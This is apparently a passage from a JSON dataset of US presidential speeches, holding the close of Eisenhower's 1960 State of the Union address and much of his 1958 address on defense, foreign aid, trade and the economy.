need for this kind of cooperation is underscored by the\nstrain in our international balance of payments. Our surplus from foreign\nbusiness transactions has in recent years fallen substantially short of the\nexpenditures we make abroad to maintain our military establishments\noverseas, to finance private investment, and to provide assistance to the\nless developed nations. In 1959 our deficit in balance of payments\napproached $4 billion.Continuing deficits of anything like this magnitude would, over time,\nimpair our own economic growth and check the forward progress of the Free\nWorld.We must meet this situation by promoting a rising volume of exports and\nworld trade. Further, we must induce all industrialized nations of the Free\nWorld to work together in a new cooperative endeavor to help lift the\nscourge of poverty from less fortunate nations. This will provide for\nbetter sharing of this burden and for still further profitable trade.New nations, and others struggling with the problems of development, will\nprogress only if they demonstrate faith in their own destiny and possess\nthe will and use their own resources to fulfill it. Moreover, progress in a\nnational transformation can be only gradually earned; there is no easy and\nquick way to follow from the oxcart to the jet plane. But, just as we drew\non Europe for assistance in our earlier years, so now do those new and\nemerging nations that have this faith and determination deserve help.Over the last fifteen years, twenty nations have gained political\nindependence. Others are doing so each year. Most of them are woefully\nlacking in technical capacity and in investment capital; without Free World\nsupport in these matters they cannot effectively progress in freedom.Respecting their need, one of the major focal points of our concern is the\nSouth Asian region. Here, in two nations alone, are almost five hundred\nmillion people, all working, and working hard, to raise their standards,\nand in doing so, to make of themselves a strong bulwark against the spread\nof an ideology that would destroy liberty.I cannot express to you the depth of my conviction that, in our own and\nFree World interests, we must cooperate with others to help these people\nachieve their legitimate ambitions, as expressed in their different\nmulti-year plans. Through the World Bank and other instrumentalities, as\nwell as through individual action by every nation in position to help, we\nmust squarely face this titanic challenge.All of us must realize, of course, that development in freedom by the newly\nemerging nations, is no mere matter of obtaining outside financial\nassistance. An indispensable element in this process is a strong and\ncontinuing determination on the part of these nations to exercise the\nnational discipline necessary for any sustained development period. These\nqualities of determination are particularly essential because of the fact\nthat the process of improvement will necessarily be gradual and laborious\nrather than revolutionary. Moreover, everyone should be aware that the\ndevelopment process is no short term phenomenon. Many years are required\nfor even the most favorably situated countries.I shall continue to urge the American people, in the interests of their own\nsecurity, prosperity and peace, to make sure that their own part of this\ngreat project be amply and cheerfully supported. Free World decisions in\nthis matter may spell the difference between world disaster and world\nprogress in freedom.Other countries, some of which I visited last month, have similar needs.A common meeting ground is desirable for those nations which are prepared\nto assist in the development effort. During the past year I have discussed\nthis matter with the leaders of several Western Nations.Because of its wealth of experience, the Organization for European Economic\nCooperation could help with initial studies. The goal is to enlist all\navailable economic resources in the industrialized Free World-especially\nprivate investment capital. But I repeat that .this help, no matter how\ngreat, can be lastingly effective only if it is used as a supplement to the\nstrength of spirit and will of the people of the newly-developing nations.By extending this help we hope to make possible the enthusiastic enrollment\nof these nations under freedom's banner. No more startling contrast to a\nsystem of sullen satellites could be imagined.If we grasp this opportunity to build an age of productive partnership\nbetween the less fortunate nations and those that have already achieved a\nhigh state of economic advancement, we will make brighter the outlook for a\nworld order based upon security, freedom and peace. Otherwise, the outlook\ncould be dark indeed. We face what may be a turning point in history, and\nwe must act decisively.As a nation we can successfully pursue these objectives only from a\nposition of broadly based strength.No matter how earnest is our quest for guaranteed peace, we must maintain a\nhigh degree of military effectiveness at the same time we are engaged in\nnegotiating the issue of arms reduction. Until tangible and mutually\nenforceable arms reduction measures are worked out, we will not weaken the\nmeans of defending our institutions.America possesses an enormous defense power. It is my studied conviction\nthat no nation will ever risk general war against us unless we should be so\nfoolish as to neglect the defense forces we now so powerfully support. It\nis world-wide knowledge that any nation which might be tempted today to\nattack the United States, even though our country might sustain great\nlosses, would itself promptly suffer a terrible destruction. But I once\nagain assure all peoples and all nations that the United States, except in\ndefense, will never turn loose this destructive power.During the past year, our long-range striking power, unmatched today in\nmanned bombers, has taken on new strength as the Atlas intercontinental\nballistic missile has entered the operational inventory. In fourteen recent\ntest launchings, at ranges of over 5,000 miles, Atlas has been striking on\nan average within two miles of the target. This is less than the length of\na jet runway--well within the circle of total destruction. Such performance\nis a great tribute to American scientists and engineers, who in the past\nfive years have had to telescope time and technology to develop these\nlong-range ballistic missiles, where America had none before.This year, moreover, growing numbers of nuclear-powered submarines will\nenter our active forces, some to be armed with Polaris missiles. These\nremarkable ships and weapons, ranging the oceans, will be capable of\naccurate fire on targets virtually anywhere on earth. Impossible to destroy\nby surprise attack, they will become one of our most effective sentinels\nfor peace.To meet situations of less than general nuclear war, we continue to\nmaintain our carrier forces, our many service units abroad, our always\nready Army strategic forces and Marine Corps divisions, and the civilian\ncomponents. The continuing modernization of these forces is a costly but\nnecessary process, and is scheduled to go forward at a rate which will\nsteadily add to our strength.The deployment of a portion of these forces beyond our shores, on land and\nsea, is persuasive demonstration of our determination to stand\nshoulder-to-shoulder with our allies for collective security. Moreover, I\nhave directed that steps be taken to program our military assistance to\nthese allies on a longer range basis. This is necessary for a sounder\ncollective defense system.Next I refer to our effort in space exploration, which is often mistakenly\nsupposed to be an integral part of defense research and development.First, America has made great contributions in the past two years to the\nworld's fund of knowledge of astrophysics and space science. These\ndiscoveries are of present interest chiefly to the scientific community;\nbut they are important foundation-stones for more extensive exploration of\nouter space for the ultimate benefit of all mankind.Second, our military missile program, going forward so successfully, does\nnot suffer from our present lack of very large rocket engines, which are so\nnecessary in distant space exploration. I am assured by experts that the\nthrust of our present missiles is fully adequate for defense requirements.Third, the United States is pressing forward in the development of large\nrocket engines to place much heavier vehicles into space for exploration\npurposes.Fourth, in the meantime, it is necessary to remember that we have only\nbegun to probe the environment immediately surrounding the earth. Using\nlaunch systems presently available, we are developing satellites to scout\nthe world's weather; satellite relay stations to facilitate and extend\ncommunications over the globe; for navigation aids to give accurate\nbearings to ships and aircraft; and for perfecting instruments to collect\nand transmit the data we seek. This is the area holding the most promise\nfor early and useful applications of space technology.Fifth, we have just completed a year's experience with our new space law. I\nbelieve it deficient in certain particulars and suggested improvements will\nbe submitted shortly.The accomplishment of the many tasks I have alluded to requires the\ncontinuous strengthening of the spiritual, intellectual, and economic\nsinews of American life. The steady purpose of our society is to assure\njustice, before God, for every individual. We must be ever alert that\nfreedom does not wither through the careless amassing of restrictive\ncontrols or the lack of courage to deal boldly with the giant issues of the\nday.A year ago, when I met with you, the nation was emerging from an economic\ndownturn, even though the signs of resurgent prosperity were not then\nsufficiently convincing to the doubtful. Today our surging strength is\napparent to everyone. 1960 promises to be the most prosperous year in our\nhistory.Yet we continue to be afflicted by nagging disorders.Among current problems that require solution are:--the need to protect the public interest in situations of prolonged\nlabor-management stalemate;--the persistent refusal to come to grips with a critical problem in one\nsector of American agriculture;--the continuing threat of inflation, together with the persisting tendency\ntoward fiscal irresponsibility;--in certain instances the denial to some of our citizens of equal\nprotection of the law.Every American was disturbed by the prolonged dispute in the steel industry\nand the protracted delay in reaching a settlement.We are all relieved that a settlement has at last been achieved in that\nindustry. Percentagewise, by this settlement the increase to the steel\ncompanies in employment costs is lower than in any prior wage settlement\nsince World War II. It is also gratifying to note that despite the increase\nin wages and benefits several of the major steel producers have announced\nthat there will be no increase in steel prices at this time. The national\ninterest demands that in the period of industrial peace which has been\nassured by the new contract both management and labor make every possible\neffort to increase efficiency and productivity in the manufacture of steel\nso that price increases can be avoided.One of the lessons of this story is that the potential danger to the entire\nNation of longer and greater strikes must be met. To insure against such\npossibilities we must of course depend primarily upon the good commonsense\nof the responsible individuals. It is my intention to encourage regular\ndiscussions between management and labor outside the bargaining table, to\nconsider the interest of the public as well as their mutual interest in the\nmaintenance of industrial peace, price stability and economic growth.To me, it seems almost absurd for the United States to recognize the need,\nand so earnestly to seek, for cooperation among the nations unless we can\nachieve voluntary, dependable, abiding cooperation among the important\nsegments of our own free society.Failure to face up to basic issues in areas other than those of\nlabor-management can cause serious strains on the firm freedom supports of\nour society.I refer to agriculture as one of these areas.Our basic farm laws were written 27 years ago, in an emergency effort to\nredress hardship caused by a world-wide depression. They were\ncontinued--and their economic distortions intensified--during World War II\nin order to provide incentives for production of food needed to sustain a\nwar-torn free world.Today our farm problem is totally different. It is that of effectively\nadjusting to the changes caused by a scientific revolution. When the\noriginal farm laws were written, an hour's farm labor produced only one\nfourth as much wheat as at present. Farm legislation is woefully\nout-of-date, ineffective, and expensive.For years we have gone on with an outmoded system which not only has failed\nto protect farm income, but also has produced soaring, threatening\nsurpluses. Our farms have been left producing for war while America has\nlong been at peace.Once again I urge Congress to enact legislation that will gear production\nmore closely to markets, make costly surpluses more manageable, provide\ngreater freedom in farm operations, and steadily achieve increased net farm\nincomes.Another issue that we must meet squarely is that of living within our\nmeans. This requires restraint in expenditure, constant reassessment of\npriorities, and the maintenance of stable prices.We must prevent inflation. Here is an opponent of so many guises that it is\nsometimes difficult to recognize. But our clear need is to stop continuous\nand general price rises--a need that all of us can see and feel.To prevent steadily rising costs and prices calls for stern self-discipline\nby every citizen. No person, city, state, or organized group can afford to\nevade the obligation to resist inflation, for every American pays its\ncrippling tax.Inflation's ravages do not end at the water's edge. Increases in prices of\nthe goods we sell abroad threaten to drive us out of markets that once were\nsecurely ours. Whether domestic prices, so high as to be noncompetitive,\nresult from demands for too-high profit margins or from increased labor\ncosts that outrun growth in productivity, the final result is seriously\ndamaging to the nation.We must fight inflation as we would a fire that imperils our home. Only by\nso doing can we prevent it from destroying our salaries, savings, pensions\nand insurance, and from gnawing away the very roots of a free, healthy\neconomy and the nation's security.One major method by which the Federal government can counter inflation and\nrising prices is to insure that its expenditures are below its revenues.\nThe debt with which we are now confronted is about 290 billion dollars.\nWith interest charges alone now costing taxpayers about 9 1/2 billions, it\nis clear that this debt growth must stop. You will be glad to know that\ndespite the unsettling influences of the recent steel strike, we estimate\nthat our accounts will show, on June 30, this year, a favorable balance of\napproximately $200 million.I shall present to the Congress for 1961 a balanced budget. In the area of\ndefense, expenditures continue at the record peace-time levels of the last\nseveral years. With a single exception, expenditures in every major\ncategory of Health, Education and Welfare will be equal or greater than\nlast year. In Space expenditures the amounts are practically doubled. But\nthe over-all guiding goal of this budget is national need-not response to\nspecific group, local or political insistence.Expenditure increases, other than those I have indicated, are largely\naccounted for by the increased cost of legislation previously enacted.[1][Footnote 1: At this point the President interpolated the two paragraphs\nshown in brackets.][I repeat, this budget will be a balanced one. Expenditures will be 79\nbillion 8 hundred million. The amount of income over outgo, described\nin the budget as a Surplus, to be applied against our national debt, is\n4 billion 2 hundred million. Personally, I do not feel that any amount can\nbe properly called a \"Surplus\" as long as the nation is in debt. I prefer\nto think of such an item as \"reduction on our children's inherited\nmortgage.\" Once we have established such payments as normal practice, we\ncan profitably make improvements in our tax structure and thereby truly\nreduce the heavy burdens of taxation.[In any event, this one reduction will save taxpayers, each year,\napproximately 2 hundred million dollars in interest costs.]This budget will help ease pressures in our credit and capital markets. It\nwill enhance the confidence of people all over the world in the strength of\nour economy and our currency and in our individual and collective ability\nto be fiscally responsible.In the management of the huge public debt the Treasury is unfortunately not\nfree of artificial barriers. Its ability to deal with the difficult\nproblems in this field has been weakened greatly by the unwillingness of\nthe Congress to remove archaic restrictions. The need for a freer hand in\ndebt management is even more urgent today because the costs of the\nundesirable financing practices which the Treasury has been forced into are\nmounting. Removal of this roadblock has high priority in my legislative\nrecommendations.Still another issue relates to civil rights.In all our hopes and plans for a better world we all recognize that\nprovincial and racial prejudices must be combatted. In the long perspective\nof history, the right to vote has been one of the strongest pillars of a\nfree society. Our first duty is to protect this right against all\nencroachment. In spite of constitutional guarantees, and notwithstanding\nmuch progress of recent years, bias still deprives some persons in this\ncountry of equal protection of the laws.Early in your last session I recommended legislation which would help\neliminate several practices discriminating against the basic rights of\nAmericans. The Civil Rights Commission has developed additional\nconstructive recommendations. I hope that these will be among the matters\nto be seriously considered in the current session. I trust that Congress\nwill thus signal to the world that our Government is striving for equality\nunder law for all our people.Each year and in many ways our nation continues to undergo profound change\nand growth.In the past 18 months we have hailed the entry of two more States of the\nUnion--Alaska and Hawaii. We salute these two western stars proudly.Our vigorous expansion, which we all welcome as a sign of health and\nvitality, is many-sided. We are, for example, witnessing explosive growth\nin metropolitan areas.By 1975 the metropolitan areas of the United States will occupy twice the\nterritory they do today. The roster of urban problems with which they must\ncope is staggering. They involve water supply, cleaning the air, adjusting\nlocal tax systems, providing for essential educational, cultural, and\nsocial services, and destroying those conditions which breed delinquency\nand crime.In meeting these, we must, if we value our historic freedoms, keep within\nthe traditional framework of our Federal system with powers divided between\nthe national and state governments. The uniqueness of this system may\nconfound the casual observer, but it has worked effectively for nearly 200\nyears.I do not doubt that our urban and other perplexing problems can be solved\nin the traditional American method. In doing so we must realize that\nnothing is really solved and ruinous tendencies are set in motion by\nyielding to the deceptive bait of the \"easy\" Federal tax dollar.Our educational system provides a ready example. All recognize the vital\nnecessity of having modern school plants, well-qualified and adequately\ncompensated teachers, and of using the best possible teaching techniques\nand curricula.We cannot be complacent about educating our youth.But the route to better trained minds is not through the swift\nadministration of a Federal hypodermic or sustained financial transfusion.\nThe educational process, essentially a local and personal responsibility,\ncannot be made to leap ahead by crash, centralized governmental action.The Administration has proposed a carefully reasoned program for helping\neliminate current deficiencies. It is designed to stimulate classroom\nconstruction, not by substitution of Federal dollars for state and local\nfunds, but by incentives to extend and encourage state and local efforts.\nThis approach rejects the notion of Federal domination or control. It is\nworkable, and should appeal to every American interested in advancement of\nour educational system in the traditional American way. I urge the Congress\nto take action upon it.There is one other subject concerning which I renew a recommendation I made\nin my State of the Union Message last January. I then advised the Congress\nof my purpose to intensify our efforts to replace force with a rule of law\namong nations. From many discussions abroad, I am convinced that purpose is\nwidely and deeply shared by other peoples and nations of the world.In the same Message I stated that our efforts would include a reexamination\nof our own relation to the International Court of Justice. The Court was\nestablished by the United Nations to decide international legal disputes\nbetween nations. In 1946 we accepted the Court's jurisdiction, but subject\nto a reservation of the right to determine unilaterally whether a matter\nlies essentially within domestic jurisdiction. There is pending before the\nSenate, a Resolution which would repeal our present self-judging\nreservation. I support that Resolution and urge its prompt passage. If this\nis done, I intend to urge similar acceptance of the Court's jurisdiction by\nevery member of the United Nations.Here perhaps it is not amiss for me to say to the Members of the Congress,\nin this my final year of office, a word about the institutions we\nrespectively represent and the meaning which the relationships between our\ntwo branches has for the days ahead.I am not unique as a President in having worked with a Congress controlled\nby the opposition party--except that no other President ever did it for\nquite so long! Yet in both personal and official relationships we have\nweathered the storms of the past five years. For this I am grateful.My deep concern in the next twelve months, before my successor takes\noffice, is with our joint Congressional-Executive duty to our own and to\nother nations. Acting upon the beliefs I have expressed here today, I shall\ndevote my full energies to the tasks at hand, whether these involve travel\nfor promoting greater world understanding, negotiations to reduce\ninternational discord, or constant discussions and communications with the\nCongress and the American people on issues both domestic and foreign.In pursuit of these objectives, I look forward to, and shall dedicate\nmyself to, a close and constructive association with the Congress.Every minute spent in irrelevant interbranch wrangling is precious time\ntaken from the intelligent initiation and adoption of coherent policies for\nour national survival and progress.We seek a common goal--brighter opportunity for our own citizens and a\nworld peace with justice for all.Before us and our friends is the challenge of an ideology which, for more\nthan four decades, has trumpeted abroad its purpose of gaining ultimate\nvictory over all forms of government at variance with its own.We realize that however much we repudiate the tenets of imperialistic\nCommunism, it represents a gigantic enterprise grimly pursued by leaders\nwho compel its subjects to subordinate their freedom of action and spirit\nand personal desires for some hoped-for advantage in the future.The Communists can present an array of material accomplishments over the\npast fifteen years that lends a false persuasiveness to many of their\nglittering promises to the uncommitted peoples.The competition they provide is formidable.But in our scale of values we place freedom first--our whole national\nexistence and development have been geared to that basic concept and are\nresponsible for the position of free world leadership to which we have\nsucceeded. It is the highest prize that any nation can possess; it is one\nthat Communism can never offer. And America's record of material\naccomplishment in freedom is written not only in the unparalleled\nprosperity of our own nation, but in the many billions we have devoted to\nthe reconstruction of Free World economics wrecked by World War II and in\nthe effective help of many more billions we have given in saving the\nindependence of many others threatened by outside domination. Assuredly we\nhave the capacity for handling the problems in the new era of the world's\nhistory we are now entering.But we must use that capacity intelligently and tirelessly, regardless of\npersonal sacrifice.The fissure that divides our political planet is deep and wide.We live, moreover, in a sea of semantic disorder in which old labels no\nlonger faithfully describe.Police states are called \"people's democracies.\"Armed conquest of free people is called \"liberation.\"Such slippery slogans make more difficult the problem of communicating true\nfaith, facts and beliefs.We must make clear our peaceful intentions, our aspirations for a better\nworld. So doing, we must use language to enlighten the mind, not as the\ninstrument of the studied innuendo and distorter of truth.And we must live by what we say.On my recent visit to distant lands I found one statesman after another\neager to tell me of the elements of their government that had been borrowed\nfrom our American Constitution, and from the indestructible ideals set\nforth in our Declaration of Independence.As a nation we take pride that our own constitutional system, and the\nideals which sustain it, have been long viewed as a fountainhead of\nfreedom.By our every action we must strive to make ourselves worthy of this trust,\never mindful that an accumulation of seemingly minor encroachments upon\nfreedom gradually could break down the entire fabric of a free society.So persuaded, we shall get on with the task before us.So dedicated, and with faith in the Almighty, humanity shall one day\nachieve the unity in freedom to which all men have aspired from the dawn of\ntime.", 
+    "name": "Dwight D. Eisenhower"
+}
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+{
+    "date": "January 9, 1958", 
+    "speech": "Mr. President, Mr. Speaker, Members of the 85th Congress:It is again my high privilege to extend personal greetings to the members\nof the 85th Congress.All of us realize that, as this new session begins, many Americans are\ntroubled about recent world developments which they believe may threaten\nour nation's safety. Honest men differ in their appraisal of America's\nmaterial and intellectual strength, and the dangers that confront us. But\nall know these dangers are real.The purpose of this message is to outline the measures that can give the\nAmerican people a confidence--just as real--in their own security.I am not here to justify the past, gloss over the problems of the present,\nor propose easy solutions for the future.I am here to state what I believe to be right and what I believe to be\nwrong; and to propose action for correcting what I think wrong! I.There are two tasks confronting us that so far outweigh all other that I\nshall devote this year's message entirely to them. The first is to ensure\nour safety through strength.As to our strength, I have repeatedly voiced this conviction: We now have a\nbroadly based and efficient defensive strength, including a great deterrent\npower, which is, for the present, our main guarantee against war; but,\nunless we act wisely and promptly, we could lose that capacity to deter\nattack or defend ourselves.My profoundest conviction is that the American people will say, as one man:\nNo matter what the exertions or sacrifices, we shall maintain that\nnecessary strength!But we could make no more tragic mistake than merely to concentrate on\nmilitary strength.For if we did only this, the future would hold nothing for the world but an\nAge of Terror.And so our second task is to do the constructive work of building a genuine\npeace. We must never become so preoccupied with our desire for military\nstrength that we neglect those areas of economic development, trade,\ndiplomacy, education, ideas and principles where the foundations of real\npeace must be laid. II.The threat to our safety, and to the hope of a peaceful world, can be\nsimply stated. It is communist imperialism.This threat is not something imagined by critics of the Soviets. Soviet\nspokesmen, from the beginning, have publicly and frequently declared their\naim to expand their power, one way or another, throughout the world.The threat has become increasingly serious as this expansionist aim has\nbeen reinforced by an advancing industrial, military and scientific\nestablishment.But what makes the Soviet threat unique in history is its\nall--inclusiveness. Every human activity is pressed into service as a\nweapon of expansion. Trade, economic development, military power, arts,\nscience, education, the whole world of ideas--all are harnessed to this\nsame chariot of expansion.The Soviets are, in short, waging total cold war.The only answer to a regime that wages total cold war is to wage total\npeace.This means bringing to bear every asset of our personal and national lives\nupon the task of building the conditions in which security and peace can\ngrow. III.Among our assets, let us first briefly glance at our military power.Military power serves the cause of security by making prohibitive the cost\nof any aggressive attack.It serves the cause of peace by holding up a shield behind which the\npatient constructive work of peace can go on.But it can serve neither cause if we make either of two mistakes. The one\nwould be to overestimate our strength, and thus neglect crucially important\nactions in the period just ahead. The other would be to underestimate our\nstrength. Thereby we might be tempted to become irresolute in our foreign\nrelations, to dishearten our friends, and to lose our national poise and\nperspective in approaching the complex problems ahead.Any orderly balance-sheet of military strength must be in two parts. The\nfirst is the position as of today. The second is the position in the period\nahead.As of today: our defensive shield comprehends a vast complex of ground,\nsea, and air units, superbly equipped and strategically deployed around the\nworld. The most powerful deterrent to war in the world today lies in the\nretaliatory power of our Strategic Air Command and the aircraft of our\nNavy. They present to any potential attacker who would unleash war upon the\nworld the prospect of virtual annihilation of his own country.Even if we assume a surprise attack on our bases, with a marked reduction\nin our striking power, our bombers would immediately be on their way in\nsufficient strength to accomplish this mission of retaliation. Every\ninformed government knows this. It is no secret.Since the Korean Armistice, the American people have spent $225 billion in\nmaintaining and strengthening this overall defensive shield. This is the\nposition as of today.Now as to the period ahead: Every part of our military establishment must\nand will be equipped to do its defensive job with the most modern weapons\nand methods. But it is particularly important to our planning that we make\na candid estimate of the effect of long-range ballistic missiles on the\npresent deterrent power I have described.At this moment, the consensus of opinion is that we are probably somewhat\nbehind the Soviets in some areas of long-range ballistic missile\ndevelopment. But it is my conviction, based on close study of all relevant\nintelligence, that if we make the necessary effort, we will have the\nmissiles, in the needed quantity and in time, to sustain and strengthen the\ndeterrent power of our increasingly efficient bombers. One encouraging fact\nevidencing this ability is the rate of progress we have achieved since we\nbegan to concentrate on these missiles.The intermediate ballistic missiles, Thor and Jupiter, have already been\nordered into production. The parallel progress in the intercontinental\nballistic missile effort will be advanced by our plans for acceleration.\nThe development of the submarine-based Polaris missile system has\nprogressed so well that its future procurement schedules are being moved\nforward markedly.When it is remembered that our country has concentrated on the development\nof ballistic missiles for only about a third as long as the Soviets, these\nachievements show a rate of progress that speaks for itself. Only a brief\ntime back, we were spending at the rate of only about one million dollars a\nyear on long range ballistic missiles. In 1957 we spent more than one\nbillion dollars on the Arias, Titan, Thor, Jupiter, and Polaris programs\nalone.But I repeat, gratifying though this rate of progress is, we must still do\nmore!Our real problem, then, is not our strength today; it is rather the vital\nnecessity of action today to ensure our strength tomorrow.What I have just said applies to our strength as a single country. But we\nare not alone. I have returned from the recent NATO meeting with renewed\nconviction that, because we are a part of a world-wide community of free\nand peaceful nations, our own security is immeasurably increased.By contrast, the Soviet Union has surrounded itself with captive and sullen\nnations. Like a crack in the crust of an uneasily sleeping volcano, the\nHungarian uprising revealed the depth and intensity of the patriotic\nlonging for liberty that still burns within these countries.The world thinks of us as a country which is strong, but which will never\nstart a war. The world also thinks of us as a land which has never enslaved\nanyone and which is animated by humane ideals. This friendship, based on\ncommon ideals, is one of our greatest sources of strength.It cements into a cohesive security arrangement the aggregate of the\nspiritual, military and economic strength of all those nations which, with\nus, are allied by treaties and agreements.Up to this point, I have talked solely about our military strength to deter\na possible future war.I now want to talk about the strength we need to win a different kind of\nwar--one that has already been launched against us.It is the massive economic offensive that has been mounted by the communist\nimperialists against free nations.The communist imperialist regimes have for some time been largely\nfrustrated in their attempts at expansion based directly on force. As a\nresult, they have begun to concentrate heavily on economic penetration,\nparticularly of newly-developing countries, as a preliminary to political\ndomination.This non-military drive, if underestimated, could defeat the free world\nregardless of our military strength. This danger is all the greater\nprecisely because many of us fail or refuse to recognize it. Thus, some\npeople may be tempted to finance our extra military effort by cutting\neconomic assistance. But at the very time when the economic threat is\nassuming menacing proportions, to fail to strengthen our own effort would\nbe nothing less than reckless folly!Admittedly, most of us did not anticipate the psychological impact upon the\nworld of the launching of the first earth satellite. Let us not make the\nsame kind of mistake in another field, by failing to anticipate the much\nmore serious impact of the Soviet economic offensive.As with our military potential, our economic assets are more than equal to\nthe task. Our independent farmers produce an abundance of food and fibre.\nOur free workers are versatile, intelligent, and hardworking. Our\nbusinessmen are imaginative and resourceful. The productivity, the\nadaptability of the American economy is the solid foundation-stone of our\nsecurity structure.We have just concluded another prosperous year. Our output was once more\nthe greatest in the nation's history. In the latter part of the year, some\ndecline in employment and output occurred, following the exceptionally\nrapid expansion of recent years. In a free economy, reflecting as it does\nthe independent judgments of millions of people, growth typically moves\nforward unevenly. But the basic forces of growth remain unimpaired. There\nare solid grounds for confidence that economic growth will be resumed\nwithout an extended interruption. Moreover, the Federal government,\nconstantly alert to signs of weakening in any part of our economy, always\nstands ready, with its full power, to take any appropriate further action\nto promote renewed business expansion.If our history teaches us anything, it is this lesson: so far as the\neconomic potential of our nation is concerned, the believers in the future\nof America have always been the realists. I count myself as one of this\ncompany.Our long-range problem, then, is not the stamina of our enormous engine of\nproduction. Our problem is to make sure that we use these vast economic\nforces confidently and creatively, not only in direct military defense\nefforts, but likewise in our foreign policy, through such activities as\nmutual economic aid and foreign trade.In much the same way, we have tremendous potential resources on other\nnon-military fronts to help in countering the Soviet threat: education,\nscience, research, and, not least, the ideas and principles by which we\nlive. And in all these cases the task ahead is to bring these resources\nmore sharply to bear upon the new tasks of security and peace in a\nswiftly-changing world. IV.There are many items in the Administration's program, of a kind frequently\nincluded in a State of the Union Message, with which I am not dealing\ntoday. They are important to us and to our prosperity. But I am reserving\nthem for treatment in separate communications because of my purpose today\nof speaking only about matters bearing directly upon our security and\npeace.I now place before you an outline of action designed to focus our resources\nupon the two tasks of security and peace.In this special category I list eight items requiring action. They are not\nmerely desirable. They are imperative.1. DEFENSE REORGANIZATIONThe first need is to assure ourselves that military organization\nfacilitates rather than hinders the functioning of the military\nestablishment in maintaining the security of the nation.Since World War II, the purpose of achieving maximum organizational\nefficiency in a modern defense establishment has several times occasioned\naction by the Congress and by the Executive.The advent of revolutionary new devices, bringing with them the problem of\noverall continental defense, creates new difficulties, reminiscent of those\nattending the advent of the airplane half a century ago.Some of the important new weapons which technology has produced do not fit\ninto any existing service pattern. They cut across all services, involve\nall services, and transcend all services, at every stage from development\nto operation. In some instances they defy classification according to\nbranch of service.Unfortunately, the uncertainties resulting from such a situation, and the\njurisdictional disputes attending upon it, tend to bewilder and confuse the\npublic and create the impression that service differences are damaging the\nnational interest.Let us proudly remember that the members of the Armed Forces give their\nbasic allegiance solely to the United States. Of that fact all of us are\ncertain. But pride of service and mistaken zeal in promoting particular\ndoctrine has more than once occasioned the kind of difficulty of which I\nhave just spoken.I am not attempting today to pass judgment on the charge of harmful service\nrivalries. But one thing is sure. Whatever they are, America wants them\nstopped.Recently I have had under special study the never-ending problem of\nefficient organization, complicated as it is by new weapons. Soon my\nconclusions will be finalized. I shall promptly take such Executive action\nas is necessary and, in a separate message, I shall present appropriate\nrecommendations to the Congress.Meanwhile, without anticipating the detailed form that a reorganization\nshould take, I can state its main lines in terms of objectives:A major purpose of military organization is to achieve real unity in the\nDefense establishment in all the principal features of military activities.\nOf all these, one of the most important to our nation's security is\nstrategic planning and control. This work must be done under unified\ndirection.The defense structure must be one which, as a whole, can assume, with top\nefficiency and without friction, the defense of America. The Defense\nestablishment must therefore plan for a better integration of its defensive\nresources, particularly with respect to the newer weapons now building and\nunder development. These obviously require full coordination in their\ndevelopment, production and use. Good organization can help assure this\ncoordination.In recognition of the need for single control in some of our most advanced\ndevelopment projects, the Secretary of Defense has already decided to\nconcentrate into one organization all the anti-missile and satellite\ntechnology undertaken within the Department of Defense.Another requirement of military organization is a clear subordination of\nthe military services to duly constituted civilian authority. This control\nmust be real; not merely on the surface.Next there must be assurance that an excessive number of compartments in\norganization will not create costly and confusing compartments in our\nscientific and industrial effort.Finally, to end inter-service disputes requires clear organization and\ndecisive central direction, supported by the unstinted cooperation of every\nindividual in the defense establishment, civilian and military.2. ACCELERATED DEFENSE EFFORTThe second major action item is the acceleration of the defense effort in\nparticular areas affected by the fast pace of scientific and technological\nadvance.Some of the points at which improved and increased effort are most\nessential are these:We must have sure warning in case of attack. The improvement of warning\nequipment is becoming increasingly important as we approach the period when\nlong-range missiles will come into use.We must protect and disperse our striking forces and increase their\nreadiness for instant reaction. This means more base facilities and standby\ncrews.We must maintain deterrent retaliatory power. This means, among other\nthings, stepped-up long range missile programs; accelerated programs for\nother effective missile systems; and, for some years, more advanced\naircraft.We must maintain freedom of the seas. This means nuclear submarines and\ncruisers; improved anti-submarine weapons; missile ships; and the like.We must maintain all necessary types of mobile forces to deal with local\nconflicts, should there be need. This means further improvements in\nequipment, mobility, tactics and fire power.Through increases in pay and incentive, we must maintain in the armed\nforces the skilled manpower modern military forces require.We must be forward-looking in our research and development to anticipate\nand achieve the unimagined weapons of the future.With these and other improvements, we intend to assure that our vigilance,\npower, and technical excellence keep abreast of any realistic threat we\nface.3. MUTUAL AIDThird: We must continue to strengthen our mutual security efforts. Most\npeople now realize that our programs of military aid and defense support\nare an integral part of our own defense effort. If the foundations of the\nFree World structure were progressively allowed to crumble under the\npressure of communist imperialism, the entire house of freedom would be in\ndanger of collapse.As for the mutual economic assistance program, the benefit to us is\nthreefold. First, the countries receiving this aid become bulwarks against\ncommunist encroachment as their military defenses and economies are\nstrengthened. Nations that are conscious of a steady improvement in their\nindustry, education, health and standard of living are not apt to fall prey\nto the blandishments of communist imperialists.Second, these countries are helped to reach the point where mutually\nprofitable trade can expand between them and us.Third, the mutual confidence that comes from working together on\nconstructive projects creates an atmosphere in which real understanding and\npeace can flourish.To help bring these multiple benefits, our economic aid effort should be\nmade more effective.In proposals for future economic aid, I am stressing a greater use of\nrepayable loans, through the Development Loan Fund, through funds generated\nby sale of surplus farm products, and through the Export-Import Bank.While some increase in Government funds will be required, it remains our\nobjective to encourage shifting to the use of private capital sources as\nrapidly as possible.One great obstacle to the economic aid program in the past has been, not a\nrational argument against it on the merits, but a catchword: \"give-away\nprogram.\"The real fact is that no investment we make in our own security and peace\ncan pay us greater dividends than necessary amounts of economic aid to\nfriendly nations.This is no \"give-away.\"Let's stick to facts!We cannot afford to have one of our most essential security programs shot\ndown with a slogan!4. MUTUAL TRADEFourth: Both in our national interest, and in the interest of world peace,\nwe must have a five-year extension of the Trade Agreements Act with\nbroadened authority to negotiate.World trade supports a significant segment of American industry and\nagriculture. It provides employment for four and one-half million American\nworkers. It helps supply our ever increasing demand for raw materials. It\nprovides the opportunity for American free enterprise to develop on a\nworldwide scale. It strengthens our friends and increases their desire to\nbe friends. World trade helps to lay the groundwork for peace by making all\nfree nations of the world stronger and more self-reliant.America is today the world's greatest trading nation. If we use this great\nasset wisely to meet the expanding demands of the world, we shall not only\nprovide future opportunities for our own business, agriculture, and labor,\nbut in the process strengthen our security posture and other prospects for\na prosperous, harmonious world.As President McKinley said, as long ago as 1901: \"Isolation is no longer\npossible or desirable .... The period of exclusiveness is past.\"5. SCIENTIFIC COOPERATION WITH OUR ALLIESFifth: It is of the highest importance that the Congress enact the\nnecessary legislation to enable us to exchange appropriate scientific and\ntechnical information with friendly countries as part of our effort to\nachieve effective 